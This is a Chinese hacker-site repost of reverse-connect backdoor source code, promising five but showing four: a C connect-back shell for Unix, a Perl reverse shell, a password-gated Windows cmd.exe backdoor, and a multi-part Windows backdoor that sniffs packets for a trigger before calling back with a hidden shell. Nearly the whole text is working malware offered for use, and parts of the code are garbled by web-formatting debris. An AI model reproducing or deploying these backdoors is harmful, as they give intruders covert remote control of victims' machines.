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五个反弹型后门的源代码

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添加日期:2007-11-21 点击次数:26次

第一个反弹木马代码：作者 iceblood
代码
#include
#include
#include
#include
#include
#include
#include
void usage();
char shell[]='/bin/sh';
char message[]='s8s8 welcome\n';
int sock;
int main(int argc, char *argv[]) {
if(argc <3){
usage(argv[0]);
}
struct sockaddr_in server;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf('Couldn’t make socket!\n');      exit(-1);
}
server.sin_family = AF_INET;
server.sin_port = htons(atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);
if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
printf('Could not connect to remote shell!\n');
exit(-1);
}
send(sock, message, sizeof(message), 0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl(shell,'/bin/sh',(char *)0);
close(sock);
return 1;
}
void usage(char *prog[]) {
   printf('\t\ts8s8 connect back door\n\n');
printf('\t sql@s8s8.net\n\n');
printf('Usage: %s \n', prog);
exit(-1);
}

　显得有点简陋了，不过还能讲究的过去。。如果需要可以写成LKM，呵呵。
第二个反弹木马代码：作者cnhackTNT
代码
#!/usr/bin/perl
#http://www.s8s8.net
#cnhackTNT[AT]hotmail.com
use strict;
use Socket;
use Cwd;
use IO::Handle;
if ( @ARGV < 1 ) {
print <<'EOF';
usage:
nc -l -p PORT(default 66666) on your local system first,then
Perl $0 Remote IP Remote_port(default 66666)
Type ’quit’ to exit or press Enter to gain shell when u under the ’S8S8 console’.
Enjoy ur shell!
Welcome to http://www.s8s8.net
EOF
exit;
}
my $remote      = $ARGV[0];
my $remote_port = $ARGV[1] || 66666;
my $proto       = getprotobyname(’tcp’);
my $pack_addr   = sockaddr_in( $remote_port, inet_aton($remote) );
my $path        = cwd();
my $shell       = ’/bin/sh -i’;
socket( SOCK, AF_INET, SOCK_STREAM, $proto ) || die 'socket error: $!';
STDOUT->autoflush(1);
SOCK->autoflush(1);
connect( SOCK, $pack_addr ) || die 'connection error : $!';
open STDIN,  '>&SOCK';
open STDOUT, '>&SOCK';
open STDERR, '>&SOCK';
print 'You are in $path\n';
print 'Welcome to www.s8s8.net\nEnjoy ur shell.\n\n[S8S8 console]>';
while () {
   chomp;
   if ( lc($_) eq ’quit’ ) {
       print '\nWelcome to www.s8s8.net';
       print '\nByeBye~~~!\n';
       exit;
   }
   elsif ($_) {
       system($shell);
       print '\n[S8S8 console]>';
   }
   else {
       print '\n[S8S8 console]>';
   }
}
close SOCK;
exit;

　　很简单，功能和上面sql兄那个c版本的差不多。

第三个反弹木马代码：作者dahubaobao
代码
#include
#include
#include
#include
#include
#pragma comment (lib,'ws2_32.lib')
#define PASSSUCCESS 'Password success!\n'
#define PASSERROR 'Password error.\n'
#define BYEBYE 'ByeBye!\n'
#define WSAerron WSAGetLastError()
#define erron GetLastError()
VOID WINAPI EXEBackMain (LPVOID s);
//BOOL EXEBackMain (SOCKET sock);
int main (int argc, TCHAR *argv[])
{
   SOCKET sock=NULL;
   struct sockaddr_in sai;
   TCHAR UserPass[20]={0};    //用户设置密码缓冲
   TCHAR PassBuf[20]={0};     //接收密码缓冲
   TCHAR PassBanner[]='\nPassword:';
   TCHAR Banner[]='---------dahubaobao backdoor---------\n';
   if (argc!=4)
   {
       fprintf(stderr,'Code by dahubaobao\n'
               'Usage:%s [DestIP] [Port] [Password]\n',argv[0]);
       return 0;
   }
   sai.sin_family=AF_INET;
   //判断参数合法性，并填充地址结构
   //IP地址不能大于15
   if (strlen(argv[1])<=15)
       sai.sin_addr.s_addr=inet_addr(argv[1]);
   else
   {
       #ifdef DEBUGMSG
              printf('Internet address no larger than \'15\'\n');
       #endif
       goto Clean;
   }
   //端口不能小于0 && 大于65535
   if (atoi(argv[2])>0&&atoi(argv[2])<65535)
       sai.sin_port=htons(atoi(argv[2]));
   else
   {
       #ifdef DEBUGMSG
              printf('Port no less than \'0\' and larger than \'65535\'');
       #endif
       goto Clean;
   }
   //密码最大16位
   if (strlen(argv[3])<=16)
       strcpy(UserPass,argv[3]);     //复制密码
   else
   {
       #ifdef DEBUGMSG
              printf('Please connect password error\n');
       #endif
       goto Clean;
   }
   while (TRUE)
   {
          WSADATA wsadata;
          BOOL ThreadFlag=FALSE;
          DWORD ThreadID=0;
          int nRet=0;
          nRet=WSAStartup(MAKEWORD(2,2),&wsadata);     //初始化
          if (nRet)
          {
              #ifdef DEBUGMSG
                     printf('WSAStartup() error: %d\n',nRet);
              #endif
              return 0;
          }
          sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
          if (sock==INVALID_SOCKET)
          {
              #ifdef DEBUGMSG
                     printf('socket() GetLastError reports %d\n',WSAerron);
              #endif
              goto Clean;
          }
     
          nRet=connect(sock,(struct sockaddr*)&sai,sizeof (struct sockaddr));
          if (nRet!=SOCKET_ERROR)
          {
              nRet=send(sock,Banner,sizeof (Banner),0);
              if (nRet==SOCKET_ERROR)
              {
                  #ifdef DEBUGMSG
                         sprintf(MsgError,'send() GetLastError reports %d\n',WSAerron);
                         send(sock,MsgError,sizeof (MsgError),0);
                  #endif
                  goto Clean;
              }
              while (TRUE)
              {
                     nRet=send(sock,PassBanner,sizeof (PassBanner),0);
                     if (nRet==SOCKET_ERROR)
                     {
                         #ifdef DEBUGMSG
                                sprintf(MsgError,'send() GetLastError reports %d\n',WSAerron);
                                send(sock,MsgError,sizeof (MsgError),0);
                         #endif
                         goto Clean;
                     }
                     nRet=recv(sock,PassBuf,sizeof (PassBuf)-1,0);
                     if (strnicmp(PassBuf,UserPass,strlen(UserPass))==0)
                     {
                         #ifdef DEBUGMSG
                                send(sock,PASSSUCCESS,sizeof (PASSSUCCESS),0);
                         #endif
                         ThreadFlag=TRUE;
                         break;
                     }
                     else
                     {
                         #ifdef DEBUGMSG
                                send(sock,PASSERROR,sizeof (PASSERROR),0);
                         #endif
                         continue;
                     }
                     if (nRet==SOCKET_ERROR)
                     {
                         #ifdef DEBUGMSG
                                sprintf(MsgError,'recv() GetLastError reports %d\n',WSAerron);
                                send(sock,MsgError,sizeof (MsgError),0);
                         #endif
                         goto Clean;
                     }
                     Sleep(100);
              }

              if (ThreadFlag)
              {
                  //EXEBackMain(sock);

                  CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)EXEBackMain,
                              (LPVOID)sock,0,&ThreadID);
              }
          }
          Sleep(1000);
   }
   Clean:
         if (sock!=NULL)
             closesocket(sock);
         WSACleanup();
         return 0;
}
VOID WINAPI EXEBackMain (LPVOID s)
//BOOL EXEBackMain (SOCKET sock)
{
    SOCKET sock=(SOCKET)s;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    HANDLE hRead=NULL,hWrite=NULL;
    TCHAR CmdSign[]='\ndahubaobao:\\>';

    while (TRUE)
    {
           TCHAR MsgError[50]={0};     //错误消息缓冲
           TCHAR Cmdline[300]={0};     //命令行缓冲
           TCHAR RecvBuf[1024]={0};    //接收缓冲
           TCHAR SendBuf[2048]={0};    //发送缓冲
           SECURITY_ATTRIBUTES sa;
           DWORD bytesRead=0;
           int ret=0;
           sa.nLength=sizeof(SECURITY_ATTRIBUTES);
           sa.lpSecurityDescriptor=NULL;
           sa.bInheritHandle=TRUE;
           //创建匿名管道
           if (!CreatePipe(&hRead,&hWrite,&sa,0))
           {
               #ifdef DEBUGMSG
                      sprintf(MsgError,'CreatePipe() GetLastError reports %d\n',erron);
                      send(sock,MsgError,sizeof (MsgError),0);
               #endif
               goto Clean;
           }
           si.cb=sizeof(STARTUPINFO);
           GetStartupInfo(&si);
           si.hStdError=hWrite;
           si.hStdOutput=hWrite;    //进程（cmd）的输出写入管道
           si.wShowWindow=SW_HIDE;
           si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
           GetSystemDirectory(Cmdline,sizeof (Cmdline));   //获取系统目录
           strcat(Cmdline,'\\cmd.exe /c ');                //拼接cmd
           ret=send(sock,CmdSign,sizeof (CmdSign),0);      //向目标发送提示符
           if (ret==SOCKET_ERROR)
           {
               #ifdef DEBUGMSG
                      sprintf(MsgError,'send() GetLastError reports %d\n',WSAerron);
                      send(sock,MsgError,sizeof (MsgError),0);
               #endif
               goto Clean;
           }

           ret=recv(sock,RecvBuf,sizeof (RecvBuf),0);       //接收目标数据
           //如果为exit或quit，就退出
           if (strnicmp(RecvBuf,'exit',4)==0||strnicmp(RecvBuf,'quit',4)==0)
           {
               #ifdef DEBUGMSG
                      send(sock,BYEBYE,sizeof (BYEBYE),0);
               #endif
               goto Clean;
           }
           //表示对方已经断开
           if (ret==SOCKET_ERROR)
           {
               #ifdef DEBUGMSG
                      sprintf(MsgError,'recv() GetLastError reports %d\n',WSAerron);
                      send(sock,MsgError,sizeof (MsgError),0);
               #endif
               goto Clean;
           }
           //表示接收数据出错
           if (ret<=0)
           {
               #ifdef DEBUGMSG
                      sprintf(MsgError,'recv() GetLastError reports %d\n',WSAerron);
                      send(sock,MsgError,sizeof (MsgError),0);
               #endif
               continue;
           }
           Sleep(100);      //休息一下，可要可不要
           strncat(Cmdline,RecvBuf,sizeof (RecvBuf));  //拼接一条完整的cmd命令
           //创建进程，也就是执行cmd命令
           if (!CreateProcess(NULL,Cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi))
           {
               #ifdef DEBUGMSG
                      sprintf(MsgError,'CreateProcess() GetLastError reports %d\n',erron);
                      send(sock,MsgError,sizeof (MsgError),0);
               #endif
               continue;
           }
           CloseHandle(hWrite);
           while (TRUE)
           {
                  //无限循环读取管道中的数据，直到管道中没有数据为止
                  if (ReadFile(hRead,SendBuf,sizeof (SendBuf),&bytesRead,NULL)==0)
                      break;
                  send(sock,SendBuf,bytesRead,0);      //发送出去; memset(SendBuf,0,sizeof (SendBuf));  //缓冲清零
                  Sleep(100);                          //休息一下
           }

    }
    Clean:
          //释放句柄
          if (hRead!=NULL)
              CloseHandle(hRead);
          if (hWrite!=NULL)
              CloseHandle(hWrite);
          //释放SOCKET
          if (sock!=NULL)
              closesocket(sock);
          WSACleanup();
          ExitThread(0);
          //return 0;
}

第四个反弹木马代码：作者ZV
　　比较完整的.for winnt的.compiler by vc 6.0.
　　我把后门分成四个部分,一个个部分算作一个模块,首先是主函数入口分成一部分,将来要加一些参数设置,初始化,隐藏进程等等,都在这个主函数部分完成,现在是什么都没有,代码比较少..
代码
#include 'mainheader.h'
MAINPARAMETERSTK mpStk={'zvrop','www.s8s8.net'};
//打印帮助
void Usage(char *programName) {
   char szHelp[] = '';
   fprintf(stderr,'%s usage:%s\n',programName,szHelp);
}
//初始化参数
int HandleOptions(int argc,char *argv[]) {
   int i,rn=1;
   for (i=1; i< argc;i++) {
       if (argv[i][0] == ’-’) {
           switch (argv[i][1]) {
               case ’?’:
               case ’h’:
               case ’H’:
                   Usage(argv[0]);
                   rn = 0;
                   break;

               default:
                   Usage(argv[0]);
                   rn = 0;
                   break;
           }
       }
   }
   return rn;
}
//正式开始工作的主函数
extern int ListenUserMain(void);
int mGotoStart(){
//申请网络
   if(!SetSocketDll())
       return 0;
   int ret=0;
//出错最大100次就结束程序
   while(true){
       if(!ListenUserMain()){
           if(ret++ > 100)
               break;
       }
   }
   return 1;
}
//程序入口
int main(int argc, char* argv[]) {
   if(argc > 1) {
       if(HandleOptions(argc,argv)) {
           return 1;
       }else {
           return 0;
       }
   }else {
       mGotoStart();
       return 1;
   }
   return 1;
}

　　上面这个部分除了mGotoStart();这个函数,其他都是内部的.
　　这个mGotoStart();就是sniffer的开始,也就是我们的第二个部分,嗅探部分,我写了三种数据包,udp,tcp,icmp的嗅探,事实上tcp能用上的很少(除非你用某些发包软件直接发tcp包)所以我测试的时候也是用udp和icmp来测试的,代码如下:
#include 'mainheader.h'
#define MAX_PACK_LEN        65535
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
SNIFFERDATASTK sfStk;
//判断数据包的正确性
int ChkBuff(char *msg, int msglen)
{
   int i1 = strlen(mpStk.KeyData), i2 = strlen(mpStk.szUserPasd);
   if(strnicmp(msg, mpStk.KeyData, i1) == 0){
       char *fp = &msg[i1+1];
       if(2 != getcmdline(fp,(char*)(&sfStk),100,3)){
           return 0;
       }
       if(!chkPass(sfStk.name)){
           return 0;
       }
       return 1;
   }
   return 0;
}
//数据包解包
int DecodePack(char *buf, int buflen)
{
   IP_HEADER *pIpheader;
   int iProtocol;
   pIpheader = (IP_HEADER *)buf;
   iProtocol = pIpheader->proto;
   int iIphLen = sizeof(unsigned long) * (pIpheader->h_lenver & 0xf);
   int PackSize = 0;
   switch(iProtocol){
       case IPPROTO_UDP:
           PackSize = sizeof(UDP_HEADER);
           break;
       case IPPROTO_ICMP:
           PackSize = sizeof(UDP_HEADER);
           break;
       case IPPROTO_TCP:
           PackSize = sizeof(TCP_HEADER);
       default :
           return 0;
   }
   if((unsigned)(buflen-iIphLen-PackSize) < (strlen(mpStk.KeyData)+10))
       return 0;
   if(ChkBuff(buf+iIphLen+PackSize, buflen-iIphLen-PackSize))
       return 1;
   return 0;
}
//循环接收数据包
int RecvRightData(SOCKET Sock)
{
   char RecvBuf[MAX_PACK_LEN];
   int RecvDataLen;
   while(true){
       memset(RecvBuf, 0, MAX_PACK_LEN);
       RecvDataLen = recv(Sock, RecvBuf, MAX_PACK_LEN, 0);
       if(SOCKET_ERROR == RecvDataLen || RecvDataLen < 46)
           return 0;
       if(DecodePack(RecvBuf, RecvDataLen)){
           return 1;
       }
   }
   return 0;
}
//获得本机外部ip
unsigned long msGetipByStrOUT(){
   char in[20]='',out[20]='';
   if(msGetip(in,out)){
       return inet_addr(out);
   }else{
       return inet_addr('127.0.0.1');
   }
}
//设置网络环境,开始嗅探
int Start_Sniffer(SOCKET SnfSock)
{
   SOCKADDR_IN addr_in;
   addr_in.sin_family = AF_INET;
   addr_in.sin_port  = INADDR_ANY;
   addr_in.sin_addr.S_un.S_addr = msGetipByStrOUT();
   if(SOCKET_ERROR == bind(SnfSock, (struct sockaddr*)&addr_in, sizeof(addr_in))){
       ConCloseSocket(&SnfSock);
       return 0;
   }
   DWORD dwBufferLen[10];
   DWORD dwBufferInLen = 1;
   DWORD dwBytesReturned = 0;
   if(SOCKET_ERROR == WSAIoctl(SnfSock,
                           SIO_RCVALL,
                           &dwBufferInLen,
                           sizeof(dwBufferInLen),
                           &dwBufferLen,
                           sizeof(dwBufferLen),
                           &dwBytesReturned ,
                           NULL ,
                           NULL)){
       ConCloseSocket(&SnfSock);
       return 0;
   }
   return 1;
}
//网络开始函数
extern DWORD WINAPI UserThreadFunc(LPVOID lpParam);
int ListenUserMain(void)
{
   SOCKET SnfSock;
   if(!SetSocketHand(&SnfSock, SOCK_RAW)) {
       return 0;
   }
   if(!Start_Sniffer(SnfSock)) {
       return 0;
   }
   if(!RecvRightData(SnfSock)) {
       ConCloseSocket(&SnfSock);
       return 0;
   }
   ConCloseSocket(&SnfSock);
   if(!SetSocketHand(&SnfSock, SOCK_STREAM)) {
       return 0;
   }
   if(!ContoReServer(&SnfSock,
                   (unsigned short)atoi(sfStk.nPort),
                   sfStk.szIp)) {
       ConCloseSocket(&SnfSock);
       return 0;
   }
   if(!UserThreadFunc((LPVOID)&SnfSock)){
       return 0;
   }
   return 1;
}

　　上面这个部分,除了UserThreadFunc函数是外部的,其他都是内部的,实现了嗅探.
　　UserThreadFunc函数就是用户线程函数,到了这个函数,就已经和用户建立了连接,下面就是交互式shell的代码了.如下:
#include 'mainheader.h'
//关闭cmd进程,防止用户强行断开连接
void closeCMD(USERCONTSTK * sck){
   if(sck->procinfo.hProcess != NULL){
       TerminateProcess(sck->procinfo.hProcess, -9);
       ConCloseHandle(&sck->procinfo.hProcess);
   }
}
//结束交互线程B,并关闭相应资源
void KillThreadHdB(USERCONTSTK * sck){
   if(sck->UserThreadHdB != NULL){
       TerminateThread(sck->UserThreadHdB, 0);
       ConCloseHandle(&sck->UserThreadHdB);
       ConCloseHandle(&sck->hReadPipe);
       ConCloseHandle(&sck->hReadFile);
       ConCloseHandle(&sck->hWriteFile);
       ConCloseHandle(&sck->hWritePipe);
       xfree(sck->buff);
   }
}
//结束cmd交互,并中断连接
void quitTELcon(USERCONTSTK * sck){
   if(sck->getCMD == 1){
       KillThreadHdB(sck);
       closeCMD(sck);
       sck->getCMD = 0;
   }
   rnvCasemsg(sck->UserSck, 'Bye~^_^~\r\n');
   sck->ExitIn = 1;
}
//结束cmd交互,返回后门shell下
void backtoCON(USERCONTSTK * sck)
{
   KillThreadHdB(sck);
   rnvCasemsg(sck->UserSck,'==========================\r\n'
                           'S8S8\\>');
   sck->getCMD = 0;
}
//交互线程B,获取cmd输出,发送给用户端
DWORD WINAPI ThreadFuncB(LPVOID lpParam){
#define MAX_BUFF_TB 4096
   USERCONTSTK *ThreadST = (USERCONTSTK *)lpParam;
   ThreadST->buff = (char*)malloc(MAX_BUFF_TB*sizeof(char));
   if(ThreadST->buff == NULL)
       return 0;
   ThreadST->Bann = 1;
   unsigned long howlong;
   DWORD rest;
   while(true){
       rest = ReadFile(ThreadST->hReadFile, ThreadST->buff, MAX_BUFF_TB, &howlong, NULL);
       if(rest <= 0){
           xfree(ThreadST->buff);
           return 0;
       }
       send(ThreadST->UserSck, ThreadST->buff, howlong, 0);
   }
   return 0;
}
//产生并捆绑一个cmdshell.
short GetConSel(USERCONTSTK *sck){
   if(sck->getCMD == 1) {
       return 0;
   }
   memset(&sck->pipeattrA, 0, sizeof(sck->pipeattrA));
   sck->pipeattrA.nLength = sizeof(SECURITY_ATTRIBUTES);
   sck->pipeattrA.lpSecurityDescriptor = NULL;
   sck->pipeattrA.bInheritHandle = TRUE;
   if(!CreatePipe(&sck->hReadPipe, &sck->hWriteFile, &sck->pipeattrA, 0)){
       rnvErrorID(sck->UserSck, 'CreatePipe:');
       return 0;
   }
   memset(&sck->pipeattrB, 0, sizeof(sck->pipeattrB));
   sck->pipeattrB.nLength = sizeof(SECURITY_ATTRIBUTES);
   sck->pipeattrB.lpSecurityDescriptor = NULL;
   sck->pipeattrB.bInheritHandle = TRUE;
   if(!CreatePipe(&sck->hReadFile, &sck->hWritePipe, &sck->pipeattrB, 0)){
       rnvErrorID(sck->UserSck, 'CreatePipe:');
       ConCloseHandle(&sck->hReadPipe);
       ConCloseHandle(&sck->hWriteFile);
       return 0;
   }
   DWORD  UserThreadIdB;
   sck->Bann = 0;
   if((sck->UserThreadHdB = CreateThread(NULL, 0, ThreadFuncB, (LPVOID *)sck, 0,
       &UserThreadIdB))==0){
       rnvErrorID(sck->UserSck, 'CreateThreadB:');
       ConCloseHandle(&sck->hReadPipe);
       ConCloseHandle(&sck->hWriteFile);
       ConCloseHandle(&sck->hReadFile);
       ConCloseHandle(&sck->hWritePipe);
       return 0;
   }
   STARTUPINFO  starinfo;
   GetStartupInfo(&starinfo);
   starinfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
   starinfo.hStdInput = sck->hReadPipe;
   starinfo.hStdError&nbs, p;= starinfo.hStdOutput = sck->hWritePipe;
   starinfo.wShowWindow = SW_HIDE;
   char Cmdpath[MAX_PATH+20] = '';
   char ConSystemPath[MAX_PATH] = '';
   DWORD ren = GetSystemDirectory(ConSystemPath, MAX_PATH);
   if(ren != strlen(ConSystemPath)){
       rnvErrorID(sck->UserSck, 'GetSystemDirectory:');
       KillThreadHdB(sck);
       return 0;
   }
   sprintf(Cmdpath, '%s\\cmd.exe', ConSystemPath);
   if(CreateProcess(Cmdpath, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &starinfo,
       &sck->procinfo)==0){
       rnvErrorID(sck->UserSck, 'CreateProcess:');
       KillThreadHdB(sck);
       return 0;
   }
   sprintf(Cmdpath,'========================\r\n'
                   '=ThreadID = %ld\r\n'
                   '=ProcessID = %ld\r\n'
                   '========================\r\n\0',
                   UserThreadIdB,
                   sck->procinfo.dwProcessId);
   rnvCasemsg(sck->UserSck, Cmdpath);
//如果建立线程B超时,退出
   short _timeOut = 0;
   while(sck->Bann == 0){
       if(_timeOut++ > 50){
           rnvErrorID(sck->UserSck, 'TIMEOUT');
           closeCMD(sck);
           KillThreadHdB(sck);
           return 0;
       }
       Sleep(50);
   }
//设置为已经获得cmdshell
   sck->getCMD = 1;
   return 1;
}
//输出banner
void TypeHelp(USERCONTSTK * sck){
   rnvCasemsg(sck->UserSck,'\r\n+++++++++++++++++++++++++++++++++++++++++++++++++++\r\n'
                           '+quit                               exit\r\n'
                           '+help                               exit\r\n'
                           '+shell                              cmd shell\r\n'
                           '+++++++++++++++++++++++++++++++++++++++++++++++++++\r\n');
}
//命令行分析
void WINAPI gocommand(USERCONTSTK * sck,char *comm)
{
   ConDel1013(comm);
   char cmdline[10][256] = {''};
   int comline_num = getcmdline(comm, &cmdline[0][0], 256, 10) + 1;
   if(strcmpi(cmdline[0], '') == 0){
       return;
   }
   cmdline[0][0]=toupper(cmdline[0][0]);
   switch(cmdline[0][0]){
       case ’Q’:{
           if((strcmpi(cmdline[0], 'q') == 0) || (strcmpi(cmdline[0], 'quit') == 0)
               && comline_num == 1)
               quitTELcon(sck);
           else
               goto NoCommand;
           break;
       }
       case ’S’:{
           if((strcmpi(cmdline[0], 's') == 0) || (strcmpi(cmdline[0], 'shell') == 0)
               && comline_num == 1)
               GetConSel(sck);
           else
               goto NoCommand;
           break;
       }
       case ’?’:
       case ’H’:{
           if((strcmpi(cmdline[0], 'h') == 0 || strcmpi(cmdline[0], 'help') == 0 || strcmpi(cmdline[0], '?') == 0))
               TypeHelp(sck);
           else
               goto NoCommand;
           break;
       }
       default:
           NoCommand:
           rnvCasemsg(sck->UserSck,'Bad Command!\r\n');
   }
}
//交互线程A,可以作为后门本身的shell,也可以作为CMDshell的输入
void BeginShell(USERCONTSTK  *sck){
   char  buff[1024] = {0},buf[1024] = {0};
   long  howlong;
   DWORD  nothing;
   rnvCasemsg(sck->UserSck,    '++++++++++++++++++++++++++++++++++++\r\n'
                               '+Easy  BackDoor\r\n'
                               '+Coder By ZV(zvrop@163.com)\r\n'
                               '+Site  http://www.s8s8.net\r\n'
                               '++++++++++++++++++++++++++++++++++++\r\n'
                               'S8S8\\>');
   while(true){
       memset(buf, 0, 1024);
       howlong = recv(sck->UserSck, buf, 1023 - strlen(buff), 0);if(howlong <= 0){
           quitTELcon(sck);
           return;
       }
       strncat(buff, buf, howlong);
       if(buf[howlong-1] == ’\n’){
           if(sck->getCMD != 0){
               if(buff[0] == ’`’){
                   gocommand(sck, buff + 1);
               }else{
                   WriteFile(sck->hWriteFile, buff, strlen(buff), ?hing, NULL);
                   if(!strnicmp(buff, 'exit', 4))
                       backtoCON(sck);
               }
           }else{
               gocommand(sck, buff);
               if(sck-> ExitIn == 1){
                   return;
               }
               rnvCasemsg(sck->UserSck, 'S8S8\\>');
           }
           memset(buff, 0, 1024);
           if(sck-> ExitIn == 1){
               return;
           }
       }
   }
}
//用户界面入口,申请一个结构用来保存,是为了兼容多用户
DWORD WINAPI UserThreadFunc(LPVOID lpParam){
   USERCONTSTK  *sck = (USERCONTSTK *)malloc(sizeof(USERCONTSTK));
   if(sck == NULL){
       rnvErrorID(*(SOCKET *)lpParam, 'malloc:');
       ConCloseSocket((SOCKET *)lpParam);
       return 0;
   }
   memset(sck, 0, sizeof(USERCONTSTK));
   sck->UserSck = *(SOCKET *)lpParam;
   BeginShell(sck);
   ConCloseSocket(&sck->UserSck);
   free(sck);
   return 1;
}

　　最后一个部分是公共函数部分,提供了一些函数的包装.如下:
#include 'mainheader.h'
#define MAX_TIMEOUT             20000
//关闭socket句柄
void ConCloseSocket(SOCKET *Sock) {
   if(*Sock == 0 || *Sock == SOCKET_ERROR)
       return;
   closesocket(*Sock);
   *Sock = 0;
}
//关闭句柄
void ConCloseHandle(HANDLE *Hand){
   if(*Hand == NULL || *Hand == INVALID_HANDLE_VALUE)
       return;
   CloseHandle(*Hand);
   *Hand = NULL;
}
//释放内存
void xfree(char *bf){
   if(bf == NULL || bf == 0)
       return;
   free(bf);
   bf = NULL;
}

//设置监听
int LocalListen(SOCKET Sock) {
   if(listen(Sock, 5) == SOCKET_ERROR)
       return 0;
   return 1;
}
//连接远程服务器
int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr) {
   struct sockaddr_in server_addr;
   server_addr.sin_family = AF_INET;
   server_addr.sin_port   = htons(port);
   struct hostent *server_host;
   server_host = gethostbyname( reAddr );
   if(server_host == NULL)
       return 0;
   memcpy( (void *) &server_addr.sin_addr,
       (void *) server_host->h_addr,
       server_host->h_length );
   int len = sizeof( server_addr );
   if( connect( *sock, (struct sockaddr *)
        &server_addr, len ) < 0 )
       return 0;
   return 1;
}
//申请网络环境
int SetSocketDll(void) {
   WSADATA wsaData;
   if(SOCKET_ERROR == WSAStartup(MAKEWORD(2, 2), &wsaData)){
       return 0;
   }
   return 1;
}
//申请连接句柄
int SetSocketHand(SOCKET *Sock, DWORD SOCKTYPE) {
   *Sock = socket(AF_INET , SOCKTYPE , IPPROTO_IP);
   if(*Sock == SOCKET_ERROR)
       return 0;
   return 1;
}
//发送消息给用户端
void rnvCasemsg(SOCKET Sock, char *msg) {
   if (strlen(msg) <= 0)
       return;
   send(Sock, msg, strlen(msg),0);
}
//发送带错误码的消息给用户端
void rnvErrorID(SOCKET Sock, char *msg) {
   char rmsg[256] = {''};
   sprintf(rmsg, '\r\nERROR>%s:%d\r\n', msg, GetLastError());
   rnvCasemsg(Sock, rmsg);
}
//兼容nc和telnet
void ConDel1013(char *str) {
   for(unsigned int i =0; i < strlen(str); i++)
       if(str[i] == ’\r’ || str[i] == ’\n’)
           str[i] = ’\0’;
}
extern MAINPARAMETERSTK mpStk;
//密码比较,这里可以加上md5
short chkPass(char *pass) {
   if(strnicmp(pass, mpStk.szUserPasd, strlen(mpStk.szUserPasd))==0)
       return 1;
   return 0;
}
//分解命令行的函数
short getcmdline(char *comm, char *cmdline, short cont, short num){
   short j = 0, geti = 0, is20 = 0;
   for(short i = 0; comm[i] != ’\0’ && geti < num; i++){
       if(comm[i] != ’ ’ || is20 >= 1){
           if(comm[i] == ’'’) is20++;
           else if(is20 >= 2 && comm[i] == ’ ’) is20 = 0;
           else if(j < cont){
      &nbs, p; &nb, sp;      cmdline[geti * cont + j] = comm[i];
               j++;
           }
       }
       if(comm[i] == ’ ’ && geti < num && is20 == 0){
           geti++;
           j = 0;
       }
   }
   return geti;
}
//获得本机IP函数
int msGetip(char *ipin, char* ipout){ char cHostName[80]='';
   if((gethostname(cHostName, 80)) == SOCKET_ERROR)
       return false;
   struct hostent *Host = gethostbyname(cHostName);
   if(NULL!=Host){
       struct in_addr addr;
       int i = 0;
       while(Host->h_addr_list[i] != NULL){
           memcpy(&addr, Host->h_addr_list[i], sizeof(addr));
           if(addr.S_un.S_un_b.s_b1 == 192 && addr.S_un.S_un_b.s_b2 == 168){
               if(strlen(ipin) == 0){
                   strcpy(ipin, inet_ntoa(addr));
               }
           }else if(addr.S_un.S_un_b.s_b1 == 172 && (addr.S_un.S_un_b.s_b2 >= 16 && addr.S_un.S_un_b.s_b2 <= 131)){
               if(strlen(ipin) == 0){
                   strcpy(ipin, inet_ntoa(addr));
               }
           }else if(addr.S_un.S_un_b.s_b1 == 10 ){
               if(strlen(ipin) == 0){
                   strcpy(ipin, inet_ntoa(addr));
               }
           }else{
               if(strlen(ipout) == 0){
                   strcpy(ipout, inet_ntoa(addr));
               }
           }
           i++;
       }
       if(strlen(ipout) == 0) {
           strcpy(ipout, ipin);
       }
       if(strlen(ipin) == 0){
           strcpy(ipin, ipout);
       }
       return 1;
   }
   return 0;
}

　　还要来一个就是程序的头文件, 如下:
#include
#include
#include
#include
#include
//用户结构
typedef struct _USERCONTSTK{
   int     getCMD;
   char*   buff;
   int     ExitIn;
   int     Bann;
   SOCKET  UserSck;
   HANDLE  UserThreadHdB;
   HANDLE  hWritePipe;
   HANDLE  hWriteFile;
   HANDLE  hReadPipe;
   HANDLE  hReadFile;
   SECURITY_ATTRIBUTES pipeattrA;
   SECURITY_ATTRIBUTES pipeattrB;
   PROCESS_INFORMATION procinfo;
}USERCONTSTK,*PUSERCONTSTK;
//后门参数结构
typedef struct _MAINPARAMETERSTK{
   char szUserPasd[100];
   char KeyData[100];
}MAINPARAMETERSTK,*PMAINPARAMETERSTK;
//嗅探数据结构
typedef struct _SNIFFERDATASTK{
   char name[100];
   char szIp[100];
   char nPort[100];
}SNIFFERDATASTK,*PSNIFFERDATASTK;
//ip头部结构
typedef struct _iphdr {
   unsigned char h_lenver;
   unsigned char tos;
   unsigned short total_len;
   unsigned short ident;
   unsigned short frag_and_flags;
   unsigned char ttl;
   unsigned char proto;
   unsigned short checksum;
   unsigned int sourceIP;
   unsigned int destIP;
}IP_HEADER;
//tcp头部结构
typedef struct _tcphdr {
   USHORT th_sport;
   USHORT th_dport;
   unsigned int th_seq;
   unsigned int th_ack;
   unsigned char th_lenres;
   unsigned char th_flag;
   USHORT th_win;
   USHORT th_sum;
   USHORT th_urp;
}TCP_HEADER;
//udp头部结构
typedef struct _udphdr {
   unsigned short uh_sport;
   unsigned short uh_dport;
   unsigned short uh_len;
   unsigned short uh_sum;
} UDP_HEADER;
//icmp头部结构
typedef struct _icmphdr {
   BYTE  i_type;
   BYTE  i_code;
   USHORT i_cksum;
   USHORT i_id;
   USHORT i_seq;
   ULONG timestamp;
}ICMP_HEADER;
//一些变量和函数的声名
extern MAINPARAMETERSTK mpStk;
extern void ConCloseSocket(SOCKET *Sock);
extern int LocalListen(SOCKET Sock);
extern int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr);
extern int SetSocketDll(void);
extern int SetSocketHand(SOCKET *Sock, DWORD SOCKTYPE);
extern void rnvCasemsg(SOCKET Sock, char *msg);
